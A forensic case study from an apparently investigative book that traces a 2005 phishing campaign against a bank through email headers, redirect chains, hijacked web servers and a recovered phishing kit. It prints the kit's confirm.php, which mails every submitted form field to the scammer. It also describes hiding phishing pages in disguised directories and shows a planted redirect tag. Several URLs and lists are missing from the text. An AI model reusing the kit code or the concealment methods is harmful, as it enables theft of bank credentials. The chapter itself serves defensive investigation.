Section 11.1. Case Study 1: Tidball
11.1. Case Study 1: TidballThis case study describes a pair of phishing attempts that took place in early 2005. For reasons that will become apparent, I refer to the individual, or group, responsible for the scam as Tidball. 11.1.1. The Initial EmailsIt started out with an email, dated 29 January 2005, that appeared to be from Washington Mutual Bank and that included the following text.
This looked like a typical phishing email and included a link to a fake Washington Mutual Bank page where I was encouraged to log in and then enter personal information such as my credit card number, date of birth, and so on. The most interesting part of an email message like this is usually the URL of the fake bank site. But it always worth perusing the text of the message and the headers for anything that looks unusual. Minor details can serve as signatures and finding them elsewhere can create strong connections between seemingly unrelated scams. The first email had several clues that I was able to make use of later on. The first clue lay at the start of the first sentence in the body of the email in the phrase "We recently have determined..." It can be dangerous for an author to comment on another's use of the English language, but this looked odd to me, so I made a note of it. Next I turned to the headers for the message: Return-Path: <support@wamu.com> Received: from web.mywebcompany.com (mywebcompany.com [64.239.179.50] by gateway.craic.com (8.11.6/8.11.6) with SMTP id j0TEAbl09958 for <myemailaddr>; Sat, 29 Jan 2005 06:10:37 -0800 Received: from vswz (21.221.56.17) by web.mywebcompany.com; Sat, 29 Jan 2005 06:10:38 -0800 Date: Sat, 29 Jan 2005 06:10:38 -0800 From: <support@wamu.com> X-Mailer: The Bat! (v2.01) Reply-To: <support@wamu.com> X-Priority: 3 (Normal) Message-ID: <35567962.20040419010559@wamu.com> To: <myemailaddr> Subject: Notification: Washington Mutual Bank MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------50411716B3" I described email headers in detail in Chapter 3, stressing how easily they can be forged. The one piece of data that can be relied on is the IP address in the first Received header line, which in this case is 64.239.179.50 and which reverse maps to mywebcompany.com. The form of the Message-ID and content boundary lines can sometimes serve as unique signatures so they are worth noting for future use. In this example, the X-Mailer header was clearly unusual and worthy of some follow up: X-Mailer: The Bat! (v2.01) A Google search revealed that The Bat! is the name of a legitimate email client that runs on Windows systems and that is sold by a company based in the Republic of Moldova. It appears to have no connections to bulk mailing software. The name is very distinctive, and I had never heard of the software prior to this email, so I noted this header as a potential signature. At this point, I moved on to the URL of the web site that was contained in the message. But before I describe where that path led to, I want to introduce the second example of this scam. By discussing both of them in parallel, I can better illustrate the discovery process. The second email was dated 14 February 2005 and was received from the same IP address as the first: Return-Path: <security@wamu.com> Received: from web.mywebcompany.com (mywebcompany.com [64.239.179.50] by gateway.craic.com (8.11.6/8.11.6) with SMTP id j1ED9Kl08865 for <myemailaddr>; Mon, 14 Feb 2005 05:09:20 -0800 Received: from chlzgm (160.136.116.228) by web.mywebcompany.com; Mon, 14 Feb 2005 05:09:20 -0800 Date: Mon, 14 Feb 2005 05:09:20 -0800 From: <security@wamu.com> X-Mailer: The Bat! (v2.01) Reply-To: <security@wamu.com> X-Priority: 3 (Normal) Message-ID: <224921472.20040416151929@wamu.com> To: <myemailaddr> Subject: Washington Mutual Bank MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------2A73EC7EC927" The second Received header lines were different between the messages, as were the Message-ID and content boundary headers. This is not a surprise, since these are routinely forged in spam messages. However, the X-Mailer header referred to the same distinctive software as the first message. The body of the message was largely identical with the exception of the cutoff date, by which I was supposed to update my account and the URL of the target web site. 11.1.2. The Initial URLsThe URLs included in the emails point to two different sites. As I will describe, all the sites that are involved in the scam appear to have been hijacked by Tidball. To protect these innocent bystanders, I have modified their IP addresses and domain names in the examples that follow. In place of the IP address 10.0.0.1, for example, you will see 10.0.x.x. The URL given in the first email was:
The second message contained a link to this URL:
These illustrate an important point when you are investigating a scam or looking at the structure of a web site. It is easy to get sidetracked by interesting details before you have taken in the big picture. These two URLs are full of information, and I will return to them shortly, but the first priority is to visit the site that they lead you to. In the world of traditional forensics this would be like fixating on a tire track when the car itself has been abandoned just around the corner. But at the same time, you must not forget all those interesting details that you encounter along the way. Make sure you take plenty of notes so that you can revisit them later on. In some cases, the amount and diversity of information that you uncover can be overwhelming, but small details can turn out to be very significant. These two URLs took me to a fake Washington Mutual Bank home page, located on two different sites. But neither of these final URLs matched the original ones, so clearly there was some form of redirection going on. Both examples of the bank site looked identical, which suggested a common point between the two paths being followed by these scams. That looked like a good break point at which to revisit the original URLs and to understand the redirection mechanism that being used. 11.1.3. RedirectionStripping off the CGI parameters from the original URLs makes them easier to understand:
They both invoke a PHP script called realstat.php that redirects visitors to a second URL. The script takes five parameters: PROGID, MAILID, MakeCopy, GetCopy, GROUPID, EMAILADDR, and REDIRURL. The values passed to these are identical in both examples, with the exception of REDIRURL, which has two different URLs for its values. Given a name and a bit of context, you can often make an educated guess about the function of a program or parameter because developers typically choose names that are indicative of their function. It's just easier that way. A reasonable guess is that realstat.php was involved in tracking visitors to web sites. Searching for the script name on Google turns up a few hits, some to other scams in this series, but none to pages that describe its origin and function. Clues to that may lie in the directory in which the script resides. So it is always worth truncating URLs back to the directory name and seeing if the server returns a listing of its contents. That was the case with both of these sites. Figure 11-1 shows a listing equivalent to these. This was actually taken from another example of the scam as I failed to save listings from the original sites, but the contents are almost identical. The directory contains two PHP scripts and several log files, all with "3214" in their names. I can see that realstat.php is a small script, less that 2 Kbytes, but I cannot access its source code. However, I can look at those log files and see that they contain many lines like this: 73:L 261 noaddr Figure 11-1. Listing of a directory that contains realstat.php This is not very informative in itself but the pieces of information match exactly with the parameters passed to the script in the original URLs. The parameter PROGID was set to stat3214, which shows up in the log file names. MAILID is set to 73, GROUPID is set to 261, and EMAILADDR is set to noaddr, all of which show up in the log file records. This suggests to me that realstat.php is a legitimate script that is used to track visitors to a web site or perhaps track response to some form of email campaign. The script logs the information and then redirects visitors to the target page that they want to visit. Tidball has discovered the redirect feature and has performed some form of search looking to find sites that make the script available. Alternatively the sites may have been broken into and the script put in place. Either way, owners of these sites were probably unaware of the vulnerability. The rationale behind using the script is presumably to confuse spam filters that might register the original URLs. It certainly doesn't do much to obscure the redirection as the target URLs are included right there as parameters to the script:
But these were not the URLs of the final fake bank pages, so there was another redirection step involved. Visiting either of these in a browser took me to the fake pages, so that did nothing to uncover the mechanism that was being used. This is where wget is really useful, using the -S option to capture the HTTP headers. Here are those for the first of the two examples, with some headers removed for the sake of readability: http://64.157.x.x/csBanner/banners/realstat.php?PROGID=stat3214& MAILID=73&MakeCopy=0&GetCopy=0&GROUPID=261&EMAILADDR=noaddr& REDIRURL=http://216.130.x.x/cgi-bin/sblogin/receive.pl [...] 1 HTTP/1.1 302 Found 2 Date: Sat, 29 Jan 2005 19:03:59 GMT 3 Server: Apache/1.3.33 (Unix) PHP/4.3.9 4 X-Powered-By: PHP/4.3.9 5 Location: http://216.130.x.x/cgi-bin/sblogin/receive.pl [...] 1 HTTP/1.1 302 Found 2 Date: Sat, 29 Jan 2005 19:08:04 GMT 3 Server: Apache/1.3.26 (Unix) PHP/4.3.10 4 Location: http://64.157.x.x/autorank/images/.../template/logon.htm [...] 1 HTTP/1.1 200 OK 2 Date: Sat, 29 Jan 2005 19:03:59 GMT 3 Server: Apache/1.3.33 (Unix) PHP/4.3.9 [...] 10 Content-Type: text/html [...] 11:04:00 (65.90 KB/s) - `logon.htm' saved [27755/27755] Before editing, header logs like these can be quite confusing. Look for the HTTP/1.1 lines that always come first in each block of headers. This example has three distinct blocks. The first is the response from the site that contains realstat.php in the original URL. The 302 code in the first header shows that I am being redirected. The X-Powered-By line confirms that a PHP script is responsible for this, and the Location header tells me where I am headed. The second block is the response from 216.130.x.x, and its 302 code tells me that I am again being redirected. Its URL suggests that it is a Perl script. The Location header again tells me where I am being redirected to. In this case, it defines an HTML page on 64.157.x.x, which is the same server that I originally came from! This would seem to be a pointless cycle of redirection, especially since some effort has been required to set up redirection on 216.130.x.x. This may have been done for the sake of obfuscation, or it may give Tidball the flexibility to redirect browsers to alternative sites as the initial ones are taken down, once the scams are uncovered. The redirection in the second example is slightly different. At face value, text7.htm.mno looks a note file created by Macromedia Dreamweaver. In fact it contains nothing but the following text: <META http-equiv="refresh" content=" 0; url=http://66.230.x.x/socal/party3_5/template/logon.htm"> A tag like this would normally be found within the HEAD block of a regular HTML file, in which case they will serve to redirect any browser to the new URL. Using the tag by itself works with Internet Explorer and Safari, but not with Firefox. Unlike the first example, this redirection takes you to a different site. While the use of realstat.php may represent the simple hijacking of a script that was already in place, the second redirection step required Tidball to access both sites and insert files that contained the target URLs. 11.1.4. The Web SitesThe two fake bank web sites that I was redirected to were identical. The initial page asked me to log in to my account at the bank. Submitting a fake username and password returned a second page that asked for a broader range of data such as date of birth and credit card number. Submitting that page, with fake data of course, took me to the real bank site. That is how a typical phishing site operates and in itself is not particularly interesting. More of a challenge is figuring out where the site is located and, if you are lucky, learning something about its structure and operation. Here are the URLs of the two sites:
You can learn something from a single piece of data, but being able to compare two different examples can tell you so much more. That is the case here. Both URLs point to the same file, logon.htm, and I know from visiting the sites that these appear to be identical. The directories that contain the files also share the same name, template, but the preceding parts of the URLs are totally different. Not only that but the first site places the template directory four levels down from the document root, whereas the second example places it three levels down. If the site were set up to run this specific scam, then you would expect the login page to be in a top-level directory, not buried deep within the site. These details suggest that the sites have been broken into by Tidball, with the fake bank sites being set up surreptitiously. 11.1.5. DirectoriesGiven the multiple levels of directories involved in the two sites, an obvious next step was to see if the servers would provide listings for any of the directoriesand indeed they did. Both host web sites, into which the phishing sites had been inserted, turned out to be pornography sitesI will spare you the details of those. In both sites, one of the directories in the path contained a large number of thumbnail images. A copy of the template directory had been placed into these in such a way as to not attract attention from the operator of the site if they were to casually look at the listing, either from the Web or from a Unix shell on the server itself. Although I do not frequent this type of web site, I understand that many of them buy sets of imagesalong with the software to manage and display themfrom companies that cater to this lucrative market. Tidball found a way to break into these sites, which exploits some vulnerability in this software. In fact, I believe I know exactly how this was achieved. A Google search with the appropriate query term leads to a detailed description of the exploit. I won't broadcast that any further here. The choice of a directory with a large number of files makes good sense if you want your directory to remain unnoticed. In the 64.157.x.x example, a directory called ... had been inserted into the images directory. This unusual name was chosen because it will not appear in server directory listings or in a basic Unix shell listing from the command ls. This is the case for any directory that begins with a period, although these are revealed by ls -a. In the 66.230.x.x example, a directory called party3_5 was placed into the directory socal, which contained a large number of images with names such as party3_4.jpg, party3_6.jpg, and so on. So the name would blend into the background in a quick glance at the directory listing. This concealment of directory names adds weight to the idea that the sites had been attacked and compromised by Tidball. Although the name of directory ... is hidden in the server listing of the images directory that contains it, its contents could be viewed from the URL http://64.157.x.x/autorank/images/.../. I used that example in Chapter 5 and the listing is shown in Figure 5-6. This was one of the fortunate instances where the scammer has left behind a file called template.tar, containing all the files that are used to create the fake site. Leaving behind a file like this was a major mistake on the part of Tidball. The error was repeated on the second phishing site, allowing me to retrieve two versions that I could then compare. The contents proved to be most revealing. 11.1.6. The Phishing KitSaving the file template.tar from 64.157.x.x to a local directory and unpacking it produced the following set of files: 659 Jan 13 13:47 confirm.php 35713 Jan 2 06:08 SecurityMeasures.php 27755 Nov 17 21:15 logon.htm 36378 Nov 1 01:25 Common00.js 13268 Nov 1 01:25 IEWin000.css 43 Nov 1 01:25 1px_clea.gif 61 Nov 1 01:25 1px_main.gif 43 Nov 1 01:25 1px_whit.gif 686 Nov 1 01:25 accountc.gif 36 Nov 1 01:25 blueline.gif 593 Nov 1 01:25 btn-crea.gif 289 Nov 1 01:25 btn-logo.gif 612 Nov 1 01:25 customer.gif 675 Nov 1 01:25 loanscre.gif 418 Nov 1 01:25 logo-equ.gif 126 Nov 1 01:25 logon_yb.gif 125 Nov 1 01:25 logon_yc.gif 129 Nov 1 01:25 logon_yt.gif 129 Nov 1 01:25 logon_yu.gif 718 Nov 1 01:25 onlineba.gif 1186 Nov 1 01:25 personal.gif 509 Nov 1 01:25 secure_b.gif 1706 Nov 1 01:25 wamucom_.gif 36 Nov 1 01:25 whitelin.gif Most of these represent image files that have been copied from the legitimate bank web site. The three important files for our purposes are logon.htm, SecurityMeasures.php, and confirm.php. The first of these is a copy of the bank user login page, which asks for your account name and password. This leads you to SecurityMeasures.php, which asks you to enter your personal details into a form. That in turn is processed by confirm.php, which then redirects you to the real bank site. This is the typical way a phishing site is set up. To appear legitimate, it uses a page copied from the real site, with minor modifications. By leading you to the "real site," it may reassure some of its victims that it is not a scam. The overall structure is not that interesting but, because the source code for the PHP files was so kindly provided in the tar file, I was able to take the analysis to another level. But before describing those, there was a bonus waiting to be uncovered in the initial HTML page. 11.1.7. Page Tracking InformationWeb pages for banks tend to be relatively sophisticated with complex formatting and corporate logos and images. That leads to voluminous and often unreadable HTML source for those pages. Pages for fake sites are invariably copied from the real site and then modified to suit the needs of the scam. In looking at these pages, the temptation is to search for a FORM tag, figure out the URL of the associated script, and ignore the rest of the page. But doing so can lead you to miss some gems of information. Many of the large company sites track visitors to their sites using cookies. But because some users disable these, several other mechanisms have been developed. In one of these, the downloaded page includes an IMG tag that loads a tiny transparent image from a tracking server that is effectively invisible. However, this image is not retrieved directly from a file, rather it is passed from a server-side script. The name given to the image in the web page includes a set of parameters, which are stripped off and logged by the server. The bank web page that Tidball copied to create the phishing site had one of these mechanisms buried within its source. Tidball apparently missed it. The image that is being fetched is called 4.gif; you can see the various parameters split onto separate lines: <img name="imgPageDot" border="0" src="/books/1/402/1/html/2/https://metric.wamu.com/4.gif ?ng_host=login.personal.wamu.com &ng_uf= &ng_pagetitle=- &ng_referrer=https: //login.personal.wamu.com/enroll/EnrollmentInstructions.asp &ng_sr=- &ng_cookieOK=Y &ngm_st=CA &ng_pdver=102 &ng_r1=2004-10-26T05:09:03-08:00 &ng_r2=0.6315228" alt="" /> Inferring the function of parameters like these can be difficult if you have only a single example to work from. In a case such as this, try to download the same or similar pages from the real bank site, look for the tags, and then compare the parameters with the original example. That is what I did here, and it was immediately apparent that the ng_r1 parameter represents the date and time at which the page defined in the ng_referrer parameter was downloaded. The parameter ng_r2 seems to contain a unique identifier that could be used to cross reference this image download with a record in the logs of the tracking web server. The server access logs for a busy site should contain the IP address of the computer that Tidball used to download the original web page from the bank site. Normally there would be no way to distinguish that specific access from the millions of others from legitimate visitors. But with this tracking mechanism, the bank can cross reference the date and time in those logs, using the unique identifier to resolve multiple accesses at the same time. In principle, they can look for this type of URL in the modified pages on phishing sites and quickly identify the IP address of the computer used to download the original page. If they are very lucky, that address might lead them directly to the scammer. The date and time of downloads are informative in themselves. In this example, you can see that Tidball downloaded this page on Tuesday, 26 October 2004 at 05:09:03-08:00. The time zone of -08:00, eight hours behind Greenwich Mean Time, is what you would expect for a server on the West Coast of the United States, which is where this bank is located. It is unlikely, though not impossible, that someone in this time zone downloaded the page at five in the morning. By looking at the time zones around the world, you can make an educated guess about where a person might be located, or more likely, where they are not. 5 a.m. West Coast time corresponds to 8 a.m. on the East Coast of the United States, which is still a little early. Moving further East translates the time to early afternoon in Europe and into evening in India and China, both of which are reasonable times for someone to be working on their site. That doesn't narrow things down very much, since those time zones contain more than 90% of the world's population! But it does argue that someone outside of the United States downloaded that original page. 11.1.8. The PHP ScriptsAs I discuss in Chapter 5, you cannot normally download the source code of PHP scripts from a web site, since the server is configured to execute them. But because they were contained within the tar file, which could be downloaded, the source code of the scripts from this scam was accessible. The script SecurityMeasures.php is basically a copy of a page from the real bank site that has been modified to pass its form data to a second script, confirm.php. This second script is the most interesting of the two and is shown in Example 11-1. Example 11-1. confirm.php <?php $Block='24.15.208.175'; $TO = "tidball1972@aol.com"; $DEFAULT_EXIT_PAGE = "http://wamu.com/personal/welcome/privacy.htm"; $EX_PAGE = "http://www.disneyland.com"; $ip=$_SERVER["REMOTE_ADDR"]; $headers = "From: wamus@yahoo.com"; $subject="adik"; $message = ""; if ($_SERVER["REMOTE_ADDR"] == $Block) { Header("Location: ".$EX_PAGE); exit; } if ($_SERVER["REMOTE_ADDR"] != $Block) { while (list($key, $val) = each($HTTP_POST_VARS)) { $message .= "$key : $val\n"; } $message .= "\nSent from ($ip)\n"; mail($TO, $subject, $message, $headers); if(! $exit_page) $exit_page = $DEFAULT_EXIT_PAGE; Header("Location: ".$exit_page); } ?> This concise script reads in the parameters from the associated form and adds them to a string. This is sent out to the specified email address, and the script completes by returning a web page to the browser that contains only a Location HTTP header, which redirects the user to a specified web page. In this case, that page is a privacy notice on the real bank site. As you have no doubt realized, this script is where the name Tidball comes from. The creator has set up the script to forward its collected data to an address at aol.com. Web-based email accounts are a favorite way for phishers to harvest their data. They are easy to set up without revealing your true identity and can be accessed from any machine. AOL accounts are especially easy to set up, thanks to the free trial access CDs that they liberally distribute. On the one hand, the discovery of Tidball's email address is a real coup, but in reality, this will have been a short-lived account that was used only to receive data from this fake bank site. That is backed up by the fact that the only difference between the instances of confirm.php from the two examples is that address, as shown in this output from diff: 3c3 < $TO = "tidball1972@aol.com"; --- > $TO = "tidball@runbox.com"; In the second example, the email is sent to an account on a web mail server in Norway. The use of the same name in both addresses is clearly interesting. It is hard to imagine the person behind these scams actually using his or her real name, but stranger things have happened. It could be that Tidball felt sufficiently secure, or was perhaps sufficiently naïve, not to choose another name, but that seems unlikely. The script contains a second piece of revealing information. It defines a specific IP address in this line: $Block='24.15.208.175'; If the browser making the request has this address, then the script immediately redirects it to the web site for Disneyland without sending an email message. The same address is blocked in both examples of the script. There is clearly some special connection between this address and Tidball. The most appealing idea would be that this is the address of Tidball's own computer, and perhaps it has been blocked in order to make testing of the script more convenient. It is impossible to determine the real intent behind this, but it is certainly intriguing. Pursuing this further, I used dig and whois to find out more about the address. dig showed the machine to be part of Comcast's network: % dig -x 24.15.208.175 [...] ;; ANSWER SECTION: 175.208.15.24.in-addr.arpa. 86400 IN PTR c-24-15-208-175.hsd1.il.comcast.net. Comcast is one of the large cable TV companies in the United States and provides many people with high-speed Internet access at home via cable modems. These have been the targets of attackers, because many of the attached computers do not have firewall software set up. It is possible that Tidball has hijacked this machine as a way to disguise him or herself. Another thing to bear in mind is that these machines are typically given dynamic IP addresses, so the one using this address today may not be the same as the one that used it when the scams were active. The domain name of il.comcast.net suggests a location in Illinois, and running whois on the IP address confirms this: % whois 24.15.208.175 [Querying whois.arin.net] [whois.arin.net] Comcast Cable Communications, IP Services EASTERNSHORE-1 (NET-24-0-0-0-1) 24.0.0.0 - 24.15.255.255 Comcast Cable Communications ILLINOIS-14 (NET-24-12-0-0-1) 24.12.0.0 - 24.15.255.255 This section of the Comcast network, called EASTERNSHORE-1, probably represents Chicago and its surrounding towns. The only shoreline in Illinois is in this northeastern corner of the state. If this is the address of Tidball's machine, then its location in the middle of the United States does not fit with the time zone information, but it could just be that our friend is an early riser. 11.1.9. What Else Has Tidball Been Involved In?A number of unusual clues, or signatures, presented themselves as I worked through these two parallel phishing examples. It is important to make a note of these as you encounter them because any one of them could help identify related scams. In this case, there were three main signatures:
These all occurred in the original emails, so it made sense to look for them in other messages in my mail folders. Basic searches using grep showed that The Bat! occurs in the X-Mailer headers of a lot of junk email, so that was not a useful signature. The other two search strings hit only the two original emails, indicating that these may be specific to this series of scams. The next step was to use these strings in Google queries to see if anyone else had encountered the scams and might have additional information. The phrase taken from the email body produced a large number of hits. Even extending the query to "we recently have determined that different computers" produced more than 900 matches. Most of these were to pages that list phishing scams and spam. Phishing attacks on Washington Mutual accounted for some of these, but there were many more examples of fake emails from PayPal, eBay, and many other banks. These messages have very similar wording but appear to use different types of target URLs. This suggests that various people have adopted the same text of an original email message for their own phishing attempts. This could reflect a lack of creativity or just simple laziness on the part of the scammers. It may indicate that some of the people do not have English as their primary language, in which case it might be easier to use an existing block of text. So although this query string is specific for phishing scams, it does resolve this particular variant. After some experimentation, using realstat.php in the query and trying multiple search engines, I was able to find two other examples that match our original scams. The URLs contained in these two emails fit the template of the original examples exactly, using realstat.php to redirect to a second URL. Presumably this redirects the browser to a third site, as before:
Interestingly, the addresses of the two initial sites are both in the same network block. One of the redirect sites is in this block, and the other is the same as one of the original sites. That observation, combined with the specific format for the URLs, is a clear indication that Tidball was involved in these two scams. It may be that these are the only phishing attempts that Tidball has made. Perhaps they were so successful that he or she is enjoying the good life on a beach somewhere. More likely, Tidball has moved on to another scam with a different modus operandi. 11.1.10. TimelineThe dates contained in the email messages, the web site directories, and the tar files can be combined to create a timeline for this series of scams. You can see how the fake web site was built and then installed on the two initial servers, followed by the sending of the associated spam.
More than three months have elapsed between the original download of the bank pages and the deployment of the first email announcement. This is not the work of someone in a great hurry to get the scams up and running. 11.1.11. Who Is Tidball?Every clue that this study has uncovered tells us something about Tidball. I can't come up with a name and address, but by combining facts with a bit of intuition, I can put together a fairly detailed profile. Here are the conclusions that I would put my money on:
That is as far as this case study can go without involving ISPs or being able to look at the web server logs of the bank that was impersonated. Using relatively simple techniques, I have been able to uncover a remarkable amount of information about this scam and the person behind it. Perhaps more importantly, I had a lot of fun investigating this operation. |
